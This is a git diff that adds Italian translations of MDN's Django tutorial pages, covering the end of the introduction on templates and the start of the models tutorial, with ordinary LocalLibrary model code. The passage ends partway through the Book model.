+<p>Questa funzione utilizza la funzione <code>render()</code> per creare la <code>HttpResponse </code>che viene inviata al browser. Questa funzione è una <em>scorciatoia</em>; crea un file HTML combinando un template HTML specificato e alcuni dati da inserire nel template (forniti nella variabile denominata "<code>context</code>"). Nella sezione successiva mostriamo come il template ha i dati inseriti per creare l'HTML.</p>
+
+<h3 id="Visualizzazione_dei_dati_HTML_templates">Visualizzazione dei dati (HTML templates)</h3>
+
+<p>I sistemi di template consentono di specificare la struttura di un documento di output, utilizzando dei segnaposto per i dati che verranno compilati al momento della generazione di una pagina. I template sono spesso usati per creare HTML, ma possono anche creare altri tipi di documenti. Django supporta sia il suo sistema di template nativo che un'altra popolare libreria Python chiamata Jinja2 out of the box (può anche essere realizzata per supportare altri sistemi se necessario). </p>
+
+<p>Il frammento di codice mostra come potrebbe apparire il template HTML chiamato dalla funzione <code>render()</code> nella sezione precedente. Questo template è stato scritto partendo dal presupposto che avrà accesso ad una variabile di lista chiamata <code>youngest_teams</code> al momento del rendering (contenuta nella variabile <code>context </code>all'interno della funzione <code>render()</code> di cui sopra). All'interno dello scheletro HTML abbiamo un'espressione che prima controlla se la variabile <code>youngest_teams</code> esiste, e poi la itera in un ciclo <code>for</code>. Su ogni iterazione il template mostra il valore <code>team_name</code> di ogni squadra in un elemento {{htmlelement("li")}}.</p>
+
+<pre class="brush: python notranslate">## filename: best/templates/best/index.html
+
+&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;head&gt;
+  &lt;meta charset="utf-8"&gt;
+  &lt;title&gt;Home page&lt;/title&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  {% if youngest_teams %}
+    &lt;ul&gt;
+      {% for team in youngest_teams %}
+        &lt;li&gt;\{\{ team.team_name \}\}&lt;/li&gt;
+      {% endfor %}
+    &lt;/ul&gt;
+  {% else %}
+    &lt;p&gt;No teams are available.&lt;/p&gt;
+  {% endif %}
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h2 id="Cosaltro_si_può_fare">Cos'altro si può fare?</h2>
+
+<p>Le sezioni precedenti mostrano le principali caratteristiche che utilizzerete in quasi tutte le applicazioni web: URL mapping, views, modelli e templates. Solo alcune delle altre cose fornite da Django includono: </p>
+
+<ul>
+ <li><strong>Forms</strong>: I forms HTML sono utilizzati per raccogliere i dati degli utenti per l'elaborazione sul server. Django semplifica la creazione, la validazione e l'elaborazione dei moduli.</li>
+ <li><strong>L'autenticazione dell'utente e i permessi</strong>: Django include un robusto sistema di autenticazione degli utenti e di permessi che è stato costruito pensando alla sicurezza. </li>
+ <li><strong>Caching</strong>: La creazione dinamica dei contenuti è molto più intensa (e lenta) dal punto di vista computazionale rispetto ai contenuti statici. Django fornisce una cache flessibile in modo da poter memorizzare tutta o parte di una pagina renderizzata in modo che non venga riprodotta, tranne quando necessario.</li>
+ <li><strong>Sito di amministrazione</strong>: Il sito di amministrazione di Django è incluso di default quando si crea un'applicazione utilizzando lo scheletro di base. Rende banalmente facile fornire una pagina di amministrazione per gli amministratori del sito per creare, modificare e visualizzare qualsiasi modello di dati nel vostro sito</li>
+ <li><strong>Serialising </strong> Django rende facile serializzare e servire i vostri dati come XML o JSON. Questo può essere utile quando si crea un servizio web (un sito web che serve esclusivamente dati da consumare da altre applicazioni o siti, e non visualizza nulla di per sé), o quando si crea un sito web in cui il codice lato client gestisce tutti i rendering dei dati.</li>
+</ul>
+
+<h2 id="Sommario">Sommario</h2>
+
+<p>Congratulazioni, hai completato il primo passo del tuo viaggio Django! Ora dovreste aver compreso i principali vantaggi di Django, un po' della sua storia e più o meno come potrebbero essere le parti principali di un'applicazione Django. Dovreste anche aver imparato alcune cose sul linguaggio di programmazione Python, compresa la sintassi per le liste, le funzioni e le classi.</p>
+
+<p>Avete già visto un po' di vero codice Django qui sopra, ma a differenza del codice lato client, è necessario impostare un ambiente di sviluppo per eseguirlo. Questo è il nostro prossimo passo.<br>
+  </p>
+
+<div>{{NextMenu("Learn/Server-side/Django/development_environment", "Learn/Server-side/Django")}}</div>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/it/docs/Learn/Server-side/Django/Introduzione">Django introduction</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/development_environment">Setting up a Django development environment</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">Django Tutorial: The Local Library website</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">Django Tutorial Part 2: Creating a skeleton website</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Models">Django Tutorial Part 3: Using models</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Admin_site">Django Tutorial Part 4: Django admin site</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Home_page">Django Tutorial Part 5: Creating our home page</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Generic_views">Django Tutorial Part 6: Generic list and detail views</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Sessions">Django Tutorial Part 7: Sessions framework</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Authentication">Django Tutorial Part 8: User authentication and permissions</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Forms">Django Tutorial Part 9: Working with forms</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Testing">Django Tutorial Part 10: Testing a Django web application</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Deployment">Django Tutorial Part 11: Deploying Django to production</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/web_application_security">Django web application security</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li>
+</ul>
diff --git a/files/it/learn/server-side/django/models/index.html b/files/it/learn/server-side/django/models/index.html
new file mode 100644
index 0000000000..ec3554f577
--- /dev/null
+++ b/files/it/learn/server-side/django/models/index.html
@@ -0,0 +1,466 @@
+---
+title: 'Django Tutorial Part 3: Using models'
+slug: Learn/Server-side/Django/Models
+tags:
+  - Articolo
+  - Dati
+  - Model
+  - Server
+  - Tutorial
+  - data
+  - django
+  - imparare
+  - lezione
+  - modello
+  - nuovo
+translation_of: Learn/Server-side/Django/Models
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Server-side/Django/skeleton_website", "Learn/Server-side/Django/Admin_site", "Learn/Server-side/Django")}}</div>
+
+<p class="summary">Questo articolo mostra come definire dei modelli per il sito della <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a>. Spiega cos'è un modello, come viene dichiarato e alcuni dei principali tipi di campo. Mostra anche brevemente alcuni dei principali modi in cui è possibile accedere ai dati del modello.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisiti:</th>
+   <td><a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">Django Tutorial Part 2: Creating a skeleton website</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Obbiettivi:</th>
+   <td>Essere in grado di progettare e creare i propri modelli, scegliendo i campi in modo appropriato.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Panoramica">Panoramica</h2>
+
+<p>Le applicazioni web Django accedono e gestiscono i dati tramite oggetti Python denominati modelli. I modelli definiscono la <em>struttura </em>dei dati memorizzati, inclusi i <em>tipi </em>di campo e possibilmente anche la loro dimensione massima,valori predefiniti, opzioni dell'elenco di selezione, testo di aiuto per la documentazione, testo della label per i moduli, ecc. La definizione del modello è indipendente dal database sottostante: è possibile sceglierne uno tra i diversi come parte delle impostazioni del progetto. Una volta scelto il database che si desidera utilizzare, non è necessario interrogarlo direttamente, basta scrivere la struttura del modello e altro codice, e Django gestirà tutto il lavoro sporco di comunicazione con il database.</p>
+
+<p>Questo tutorial mostra come definire e accedere ai modelli per l'esempio del <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary website</a>.</p>
+
+<h2 id="Progettare_i_model_per_la_LocalLibrary">Progettare i model per la LocalLibrary</h2>
+
+<p>Prima di saltare e iniziare a codificare i modelli, vale la pena dedicare alcuni minuti a pensare a quali dati dobbiamo memorizzare e alle relazioni tra i diversi oggetti.</p>
+
+<p>Sappiamo che abbiamo bisogno di memorizzare informazioni sui libri (titolo, sommario, autore, lingua scritta, categoria, ISBN) e che potremmo avere più copie disponibili (con ID unico globale, stato di disponibilità, ecc.). Potremmo aver bisogno di memorizzare più informazioni sugli autori oltre al loro nome e potrebbero esserci più autori con nomi uguali o simili. Vogliamo essere in grado di ordinare le informazioni in base al titolo del libro, autore, lingua scritta e categoria.</p>
+
+<p>Quando si progettano i modelli, è logico disporre di modelli separati per ogni "oggetto" (un gruppo di informazioni correlate). In questo caso gli oggetti ovvi sono i libri, le istanze di libri e gli autori</p>
+
+<p>Potresti anche voler utilizzare i modelli per rappresentare delle opzioni per un elenco di selezione (ad esempio, come un elenco a discesa), piuttosto che codificare le scelte nel sito stesso - questo è consigliato quando tutte le opzioni non sono note in anticipo o potrebbero essere modificate. I candidati ovvi per i modelli in questo caso includono il genere di libro (ad esempio Fantascienza, Poesia francese, ecc.) e la lingua (Inglese, Francese, Giapponese).</p>
+
+<p>Una volta che abbiamo deciso i nostri modelli e i nostri campi, dobbiamo pensare alle relazioni. Django ti permette di definire relazioni che sono uno a uno (<strong><em>OneToOneField</em></strong>), uno a molti (<em><strong>ForeignKey</strong></em>) e molti a molti (<em><strong>ManyToManyField</strong></em>).Con questo in mente, lo schema di associazione UML qui sotto mostra i modelli che definiremo in questo caso (come schede).</p>
+
+<p><img alt="LocalLibrary Model UML" src="https://mdn.mozillademos.org/files/16479/local_library_model_uml.png" style="height: 660px; width: 977px;"></p>
+
+<p>Come sopra, abbiamo creato modelli per book (i dettagli generici del libro), per book instance (lo stato di specifiche copie fisiche del libro disponibile nel sistema) e author. Abbiamo anche deciso di avere un modello per il genere (genre), in modo che i valori possano essere creati/selezionati attraverso l'interfaccia di amministrazione. Abbiamo deciso di non avere un modello per <code>BookInstance:status</code> - abbiamo codificato i valori (<code>LOAN_STATUS</code>) perché non ci aspettiamo che questi cambino. All'interno di ciascuna casella è possibile visualizzare il nome del model, i nomi dei campi e i tipi, nonché i metodi e i relativi tipi di ritorno.</p>
+
+<p>Il diagramma mostra anche le relazioni tra i modelli, incluse le loro <em>molteplicità</em>. Le molteplicità sono i numeri sul diagramma che mostrano i numeri (massimo e minimo) di ciascun modello che può essere presente nella relazione. Ad esempio, la linea di collegamento tra le caselle mostra che Book e un Genre sono correlati. I numeri vicino al modello Genre mostrano che un Book deve avere uno o più Genres (quanti ne vuoi), mentre i numeri all'altro capo della riga accanto al model Book mostrano che un Genre può avere zero o molti Books associati.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: La prossima sezione fornisce un manuale di base che spiega come vengono definiti e utilizzati i models. Mentre lo leggi, considera come costruiremo ciascuno dei modelli nel diagramma sopra.</p>
+</div>
+
+<h2 id="Fondamenti_del_modello">Fondamenti del modello</h2>
+
+<p>Questa sezione fornisce una breve panoramica di come viene definito un model e alcuni dei campi e argomenti di campo più importanti.</p>
+
+<h3 id="Definizione_del_modello">Definizione del modello</h3>
+
+<p>I model vengono generalmente definiti nel file <strong>models.py</strong> di una applicazione. Sono implementati come sottoclassi di <code>django.db.models.Model</code>, e possono includere campi, metodi e metadati. Il frammento di codice seguente mostra un modello "tipico", denominato <code>MyModelName</code>:</p>
+
+<pre>from django.db import models
+
+class MyModelName(models.Model):
+    """A typical class defining a model, derived from the Model class."""
+
+    # Fields
+    my_field_name = models.CharField(max_length=20, help_text='Enter field documentation')
+    ...
+
+    # Metadata
+    class Meta:
+        ordering = ['-my_field_name']
+
+    # Methods
+    def get_absolute_url(self):
+        """Returns the url to access a particular instance of MyModelName."""
+        return reverse('model-detail-view', args=[str(self.id)])
+
+    def __str__(self):
+        """String for representing the MyModelName object (in Admin site etc.)."""
+        return self.my_field_name</pre>
+
+<p>Nelle sezioni seguenti esploreremo in dettaglio ciascuna funzionalità all'interno del modello:</p>
+
+<h4 id="Campi">Campi</h4>
+
+<p>Un modello può avere un numero arbitrario di campi, di qualsiasi tipo - ognuno rappresenta una colonna di dati che vogliamo memorizzare in una delle nostre tabelle del database. Ogni record di database (riga) consisterà in uno di ciascun valore di quei campi. Osserviamo l'esempio seguente:</p>
+
+<pre class="brush: js">my_field_name = models.CharField(max_length=20, help_text='Enter field documentation')</pre>
+
+<p>Il nostro esempio precedente ha un singolo campo chiamato <code>my_field_name</code>, di tipo <code>models.CharField</code> — che significa che questo campo conterrà stringhe di caratteri alfanumerici. I tipi di campo vengono assegnati utilizzando classi specifiche, che determinano il tipo di record utilizzato per memorizzare i dati nel database, insieme ai criteri di convalida da utilizzare quando i valori vengono ricevuti da un form HTML (vale a dire ciò che costituisce un valore valido). I tipi di campo possono anche prendere argomenti che specificano ulteriormente come il campo è memorizzato o può essere utilizzato. In questo caso stiamo dando al nostro campo due argomenti:</p>
+
+<ul>
+ <li><code>max_length=20</code> — Indica che la lunghezza massima di un valore in questo campo è di 20 caratteri.</li>
+ <li><code>help_text='Enter field documentation'</code> — fornisce un'etichetta di testo da visualizzare per aiutare gli utenti a sapere quale valore fornire quando questo valore deve essere inserito da un utente tramite un form HTML.</li>
+</ul>
+
+<p>Il nome del campo viene utilizzato per fare riferimento ad esso in query e templates. I campi hanno anche un'etichetta, che è specificata come argomento (<code>verbose_name</code>) o dedotto variando in maiuscola la prima lettera del nome della variabile del campo e sostituendo qualsiasi underscore con uno spazio (ad esempio <code>my_field_name</code> avrebbe una etichetta di default <em>My field name</em>).</p>
+
+<p>L'ordine in cui i campi sono dichiarati influenzerà il loro ordine predefinito se un modello viene reso in un modulo (ad esempio nel sito di amministrazione), tuttavia questo ordine può essere sovrascritto.</p>
+
+<h5 id="Argomenti_comuni_nei_campi">Argomenti comuni nei campi</h5>
+
+<p>I seguenti argomenti comuni possono essere utilizzati per dichiarare molti dei diversi tipi di campo:</p>
+
+<ul>
+ <li><a href="https://docs.djangoproject.com/en/2.1/ref/models/fields/#help-text">help_text</a>: Fornisce un'etichetta di testo per i form HTML (ad esempio nel sito di amministrazione), come descritto sopra.</li>
+ <li><a href="https://docs.djangoproject.com/en/2.1/ref/models/fields/#verbose-name">verbose_name</a>: Un nome leggibile dall'uomo per il campo utilizzato nelle etichette di campo. Se non specificato, Django dedurrà il nome dettagliato predefinito dal nome del campo.</li>
+ <li><a href="https://docs.djangoproject.com/en/2.1/ref/models/fields/#default">default</a>: Il valore predefinito per il campo. Questo può essere un valore o un oggetto callable, nel qual caso l'oggetto verrà chiamato ogni volta che viene creato un nuovo record.</li>
+ <li><a href="https://docs.djangoproject.com/en/2.1/ref/models/fields/#null">null</a>: Se <code>True</code>, Django memorizzerà i valori bianchi come <code>NULL</code> nel database per i campi dove questo è appropriato (un campo <code>CharField</code> per esempio memorizzerà invece una stringa vuota). Per default è <code>False</code>.</li>
+ <li><a href="https://docs.djangoproject.com/en/2.1/ref/models/fields/#blank">blank</a>: Se <code>True</code>, il campo può essere vuoto nelle tue forme. L'impostazione predefinita è <code>False</code>, il che significa che la convalida del modulo di Django ti costringerà a inserire un valore. Spesso usato con <code>null=True</code> , perché se hai intenzione di consentire valori vuoti, vuoi anche che il database sia in grado di rappresentarli in modo appropriato.</li>
+ <li><a href="https://docs.djangoproject.com/en/2.1/ref/models/fields/#choices">choices</a>: Un gruppo di scelte per questo campo. Se viene fornito, il widget modulo corrispondente predefinito sarà una casella di selezione con queste scelte al posto del campo di testo standard.</li>
+ <li><a href="https://docs.djangoproject.com/en/2.1/ref/models/fields/#primary-key">primary_key</a>: Se <code>True</code>, imposta il campo corrente come chiave primaria per il modello (una chiave primaria è una colonna di database speciale designata per identificare in modo univoco tutti i diversi record di tabella). Se non viene specificato alcun campo come chiave primaria, Django aggiungerà automaticamente un campo per questo scopo.</li>
+</ul>
+
+<p>Ci sono molte altre opzioni — consultare <a href="https://docs.djangoproject.com/en/2.1/ref/models/fields/#field-options">full list of field options here</a>.</p>
+
+<h5 id="Tipi_di_campo_più_comuni">Tipi di campo più comuni</h5>
+
+<p>Il seguente elenco descrive alcuni dei tipi di campi più comunemente usati.</p>
+
+<ul>
+ <li><a href="https://docs.djangoproject.com/en/2.1/ref/models/fields/#django.db.models.CharField">CharField</a> è usato per definire stringhe di lunghezza fissa di dimensioni medio-piccole. Devi specificare il <code>max_length</code> dei dati memorizzati.</li>
+ <li><a href="https://docs.djangoproject.com/en/2.1/ref/models/fields/#django.db.models.TextField">TextField</a> viene utilizzato per stringhe di lunghezza arbitraria di grandi dimensioni. Puoi specificare la <code>max_length</code> per il campo, ma questo viene utilizzato solo quando il campo viene visualizzato nei moduli (non viene applicato a livello di database).</li>
+ <li><a href="https://docs.djangoproject.com/en/2.1/ref/models/fields/#django.db.models.IntegerField" title="django.db.models.IntegerField">IntegerField</a> è un campo per la memorizzazione di valori interi (numero intero) e per la convalida di valori immessi come numeri interi nei moduli.</li>
+ <li><a href="https://docs.djangoproject.com/en/2.1/ref/models/fields/#datefield">DateField</a> e <a href="https://docs.djangoproject.com/en/2.1/ref/models/fields/#datetimefield">DateTimeField</a> sono utilizzati per storare/rappresentare date e data/time (in Python come oggetti <code>datetime.date</code> e <code>datetime.datetime</code>, rispettivamente). Questi campi possono essere dichiarati con dei parametri (mutualmente esclusivi) <code>auto_now=True</code> (per settare la data odierna automaticamente ogni volta che il modello viene salvato), <code>auto_now_add</code> (per settare la data solo quando il modello viene creato per la prima volta) , e <code>default</code> (per settare una data di default che possa essere sovrascritta dall'utente).</li>
+ <li><a href="https://docs.djangoproject.com/en/2.1/ref/models/fields/#emailfield">EmailField</a> per storare e validare indirizzi mail.</li>
+ <li><a href="https://docs.djangoproject.com/en/2.1/ref/models/fields/#filefield">FileField</a> e <a href="https://docs.djangoproject.com/en/2.1/ref/models/fields/#imagefield">ImageField</a> per uploadare file e immagini rispettivamente (<code>ImageField</code> aggiunge semplicemente ulteriore convalida che il file caricato è un'immagine). Questi hanno parametri per definire come e dove sono memorizzati i file caricati.</li>
+ <li><a href="https://docs.djangoproject.com/en/2.1/ref/models/fields/#autofield">AutoField</a> tipologia speciale di <code>IntegerField</code> con autoincremento. Una chiave primaria di questo tipo viene automaticamente aggiunta al tuo modello se non ne specifichi esplicitamente una.</li>
+ <li><a href="https://docs.djangoproject.com/en/2.1/ref/models/fields/#foreignkey">ForeignKey</a> è usato per specificare una relazione uno-a-molti con un altro modello di database (ad esempio, un'auto ha un produttore, ma un produttore può fare molte automobili). Il lato "uno" della relazione è il modello che contiene la chiave.</li>
+ <li><a href="https://docs.djangoproject.com/en/2.1/ref/models/fields/#manytomanyfield">ManyToManyField</a> è usato per specificare una relazione molti-a-molti (ad esempio un libro può avere diversi generi e ogni genere può contenere diversi libri). Nella nostra app di libreria li useremo in modo molto simile a <code>ForeignKeys</code>, ma possono essere usati in modi più complicati per descrivere le relazioni tra i gruppi. Questi hanno il parametro <code>on_delete</code> per definire cosa succede quando il record associato viene cancellato (ad esempio un valore <code>models.SET_NULL</code> setta il valore a <code>NULL</code>).</li>
+</ul>
+
+<p>Esistono molti altri tipi di campi, compresi i campi per diversi tipi di numeri (interi grandi, interi piccoli, float), booleani, URL, slug, ID univoci e altre informazioni "temporali" (durata, tempo, ecc.) . È possibile visualizzare la <a href="https://docs.djangoproject.com/en/2.1/ref/models/fields/#field-types">full list here</a>.</p>
+
+<h4 id="Metadata">Metadata</h4>
+
+<p>Puoi dichiarare metadata per il tuo Modello utilizzando <code>class Meta</code>, come mostrato sotto.</p>
+
+<pre class="brush: python">class Meta:
+    ordering = ['-my_field_name']
+</pre>
+
+<p>Una delle funzionalità più utili di questi metadati consiste nel controllare l'ordinamento predefinito dei record restituiti quando si esegue una query sul tipo di modello. A tale scopo, specificare l'ordine di corrispondenza in un elenco di nomi di campi sull'attributo <code>ordering</code> come sopra. L'ordine dipende dal tipo di campo (i campi dei caratteri sono ordinati alfabeticamente, mentre i campi delle date sono ordinati in ordine cronologico). Come mostrato sopra, puoi anteporre il nome del campo al simbolo meno (-) per invertire l'ordine.</p>
+
+<p>Per esempio, se scegliamo un sort dei libri come nell'esempio per default:</p>
+
+<pre class="brush: python">ordering = ['title', '-pubdate']</pre>
+
+<p>i libri saranno ordinati alfabeticamente per titolo, dalla A alla Z e quindi per data di pubblicazione all'interno di ciascun titolo, dal più recente al più vecchio. Un altro attributo comune è <code>verbose_name</code>, un nome dettagliato per la classe in forma singolare e plurale:</p>
+
+<pre class="brush: python">verbose_name = 'BetterName'</pre>
+
+<p>Altri attributi utili consentono di creare e applicare nuove "autorizzazioni di accesso" per il modello (le autorizzazioni predefinite vengono applicate automaticamente), consentire l'ordinamento in base a un altro campo o dichiarare che la classe è "astratta" (una classe base per cui non è possibile creare record, e sarà invece derivato da creare altri modelli). Molte altre opzioni di metadati controllano quale database deve essere utilizzato per il modello e come vengono archiviati i dati (questi sono davvero utili solo se è necessario associare un modello a un database esistente).</p>
+
+<p>La lista completa di opzioni per i metadati: <a href="https://docs.djangoproject.com/en/2.1/ref/models/options/">Model metadata options</a> (Django docs).</p>
+
+<h4 id="Metodi">Metodi</h4>
+
+<p>Un modello può avere metodi.</p>
+
+<p><strong>In ogni caso, in ogni modello è necessario definire il metodo standard della classe Python <code>__str__()</code> per restituire una stringa leggibile dall'uomo per ciascun oggetto.</strong> Questa stringa viene utilizzata per rappresentare singoli record nel sito di amministrazione (e in qualsiasi altro punto è necessario fare riferimento a un'istanza del modello). Spesso questo restituirà un titolo o un campo nome dal modello.</p>
+
+<pre class="brush: python">def __str__(self):
+    return self.field_name</pre>
+
+<p>Un altro metodo comune da includere nei modelli Django è <code>get_absolute_url ()</code>, che restituisce un URL per la visualizzazione di record di modelli individuali sul sito Web (se si definisce questo metodo, Django aggiungerà automaticamente un pulsante "Visualizza sul sito" alle schermate di modifica dei record del modello in il sito di amministrazione). Di seguito viene mostrato un tipico pattern per <code>get_absolute_url ().</code></p>
+
+<pre class="brush: python">def get_absolute_url(self):
+    """Returns the url to access a particular instance of the model."""
+    return reverse('model-detail-view', args=[str(self.id)])
+</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Supponendo che utilizzerai URLs come <code>/myapplication/mymodelname/2</code> per visualizzare record individuali per il tuo modello (dove "2" è l'<code>id</code> per un particolare record), dovrai creare un mapper URL per passare la risposta e l'id a una "model detail view" (vista di dettaglio del modello) (che farà il lavoro richiesto per mostrare il record). la funzione <code>reverse()</code> sopra effettua un "reverse" del tuo url mapper (nel caso sopra nominato <em>'model-detail-view'</em>) per creare un URL nel formato corretto.</p>
+
+<p>Ovviamente per fare questo lavoro devi ancora scrivere la mappatura degli URL, la vista e il template!</p>
+</div>
+
+<p>Puoi anche definire altri metodi che ti piacciono e chiamarli dal tuo codice o template (a condizione che non prendano alcun parametro).</p>
+
+<h3 id="Gestone_del_modello">Gestone del modello</h3>
+
+<p>Una volta definite le classi model, è possibile utilizzarle per creare, aggiornare o eliminare record e per eseguire query per ottenere tutti i record o particolari sottoinsiemi di record. Ti mostreremo come farlo nel tutorial quando definiremo le nostre views, ma ecco un breve sommario.</p>
+
+<h4 id="Creare_e_modificare_record">Creare e modificare record</h4>
+
+<p>Per creare un record puoi definire una istanza del modello e poi richiamare <code>save()</code>.</p>
+
+<pre class="brush: python"># Create a new record using the model's constructor.
+record = MyModelName(my_field_name="Instance #1")
+
+# Save the object into the database.
+record.save()
+</pre>
+
+<div class="note">
+<p><strong>Note</strong>: Se non hai dichiarato alcun campo come <code>primary_key</code>, al nuovo record ne verrà assegnato uno automaticamente, con nome del campo <code>id</code>. È possibile interrogare questo campo dopo aver salvato il record precedente, esso dovrebbe avere il valore 1.</p>
+</div>
+
+<p>È possibile accedere ai campi in questo nuovo record e modificarne i valori utilizzando la sintassi dot (.) e per memorizzare nel database i valori modificati devi chiamare <code>save()</code>.</p>
+
+<pre class="brush: python"># Access model field values using Python attributes.
+print(record.id) # should return 1 for the first record.
+print(record.my_field_name) # should print 'Instance #1'
+
+# Change record by modifying the fields, then calling save().
+record.my_field_name = "New Instance Name"
+record.save()</pre>
+
+<h4 id="Ricercare_record">Ricercare record</h4>
+
+<p>È possibile cercare i record che soddisfano determinati criteri utilizzando l'attributo <code>objects</code> del model (fornito dalla classe base).</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Spiegare come cercare i record usando il modello "astratto" nei nomi dei campi può generare un po 'di confusione. Nella discussione seguente faremo riferimento a un modello <code>Book</code> con campi <code>title</code> e <code>genre</code>, in cui genre è anche lui un modello con un singolo campo <code>name</code>.</p>
+</div>
+
+<p>Possiamo ottenere tutti i record per un modello come un <code>QuerySet</code>, utilizzando<strong> </strong><code>objects.all()</code><strong>.</strong>  Il <code>QuerySet</code> è un oggetto iterabile, ovvero contiene un numero di oggetti che è possibile scorrere/iterare/ciclare.</p>
+
+<pre class="brush: python">all_books = Book.objects.all()
+</pre>
+
+<p>Il metodo <code>filter()</code> di Django ci consente di filtrare il <code>QuerySet</code> restituito per matchare un campo di testo o numerico specificato a un particolare criterio. Ad esempio, per filtrare i libri che contengono "wild" nel titolo e poi contarli, potremmo fare quanto segue.</p>
+
+<pre class="brush: python">wild_books = Book.objects.filter(title__contains='wild')
+number_wild_books = wild_books.count()
+</pre>
+
+<p>I campi da matchare e il tipo di corrispondenza sono definiti nel nome del parametro del filtro, utilizzando il formato: <code>field_name__match_type</code> (notare il <em>doppio underscore</em> tra <code>title</code> e <code>contains</code> sopra). In alto stiamo filtrando <code>title</code> con una corrispondenza case-sensitive. Esistono molti altri tipi di corrispondenze: <code>icontains</code> (case-insensitive), <code>iexact</code> (corrispondenza esatta case-insensitive), <code>exact</code> (corrispondenza esatta case-sensitive) e <code>in</code>, <code>gt</code> (grater than), <code>startswith</code>, ecc. Consultare la <a href="https://docs.djangoproject.com/en/2.1/ref/models/querysets/#field-lookups">lista completa qui</a>.</p>
+
+<p>In alcuni casi sarà necessario filtrare su un campo che definisce una relazione uno-a-molti con un altro modello (per esempio una <code>ForeignKey</code>). In questo caso è possibile "indicizzare" i campi all'interno del modello correlato con un doppio underscore aggiuntivo. Quindi, ad esempio, per filtrare i libri con uno specifico pattern genre, dovrai indicizzare al <code>name</code> attraverso il campo <code>genre</code>, come mostrato sotto:</p>
+
+<pre class="brush: python"># Will match on: Fiction, Science fiction, non-fiction etc.
+books_containing_genre = Book.objects.filter(genre<strong>__</strong>name<strong>__</strong>icontains='fiction')
+</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Puoi usare gli underscores (__) per navigare su tutti i livelli di relazione che ti servono (<code>ForeignKey</code>/<code>ManyToManyField</code>). Per esempio, un <code>Book</code> che aveva diversi tipi, definiti utilizzando un'ulteriore relazione "cover" potrebbe avere un nome di parametro: <code>type__cover__name__exact='hard'.</code></p>
+</div>
+
+<p>C'è molto di più che puoi fare con le query, comprese le ricerche all'indietro dai modelli correlati, concatenare i filtri, restituire un insieme più piccolo di valori, ecc. Per ulteriori informazioni, vedere <a href="https://docs.djangoproject.com/en/2.1/topics/db/queries/">Making queries</a> (Django Docs).</p>
+
+<h2 id="Definire_i_Models_della_LocalLibrary">Definire i Models della LocalLibrary</h2>
+
+<p>In questa sezione inizieremo a definire i modelli per la libreria. Apri <em>models.py</em> (in<em> /locallibrary/catalog/</em>). Le righe di codice iniziali importano il modulo <em>models</em>, che contiene la classe di base <code>models.Model</code> da cui i nostri modelli erediteranno.</p>
+
+<pre class="brush: python">from django.db import models
+
+# Create your models here.</pre>
+
+<h3 id="Modello_Genre">Modello Genre</h3>
+
+<p>Copia il codice del modello <code>Genre</code> mostrato sotto e incollalo alla fine del file <code>models.py</code>. Questo modello viene utilizzato per memorizzare informazioni sulla categoria di libri, ad esempio se si tratta di narrativa o saggistica, storia romantica o militare, ecc. Come menzionato sopra, abbiamo creato il Genre come model piuttosto che come testo libero o elenco di selezione <strong>in modo che i possibili valori possano essere gestiti tramite il database anziché essere hard-coded</strong>.</p>
+
+<pre class="brush: python">class Genre(models.Model):
+    """Model representing a book genre."""
+    name = models.CharField(max_length=200, help_text='Enter a book genre (e.g. Science Fiction)')
+
+    def __str__(self):
+        """String for representing the Model object."""
+        return self.name</pre>
+
+<p>Il modello ha un singolo campo <code>CharField</code> (<code>name</code>), che descrive il genere (limitato a 200 caratteri e con un <code>help_text</code>. Alla fine del modello definiamo un metodo <code>__str__()</code>, che restituisce semplicemente il nome del genere definito da un particolare record. Nessun nome dettagliato (verbose) è stato definito, quindi il campo nel form verrà chiamato <code>Name</code>.</p>
+
+<h3 id="Modello_Book">Modello Book</h3>
+
+<p>Copia il modello Book in basso e incollalo nuovamente nella parte inferiore del file. Il modello del libro rappresenta tutte le informazioni su un libro disponibile in senso generale, ma non una particolare "istanza" fisica o "copia" disponibile per il prestito. Il modello usa un campo <code>CharField</code> per rappresentare <code>title</code> e <code>isbn</code> del libro (notare come <code>isbn</code> specifica la sua etichetta come "ISBN" utilizzando il primo parametro senza nome, in caso contrario la label di default sarebbe "Isbn"). Il modello usa <code>TextField</code> per il <code>summary</code>, perchè potrebbe essere un campo abbastanza lungo.</p>
+
+<pre class="brush: python">from django.urls import reverse # Used to generate URLs by reversing the URL patterns
+
+class Book(models.Model):
+    """Model representing a book (but not a specific copy of a book)."""
+    title = models.CharField(max_length=200)
+
+    # Foreign Key used because book can only have one author, but authors can have multiple books
+    # Author as a string rather than object because it hasn't been declared yet in the file
+    author = models.ForeignKey('Author', on_delete=models.SET_NULL, null=True)
+
+    summary = models.TextField(max_length=1000, help_text='Enter a brief description of the book')
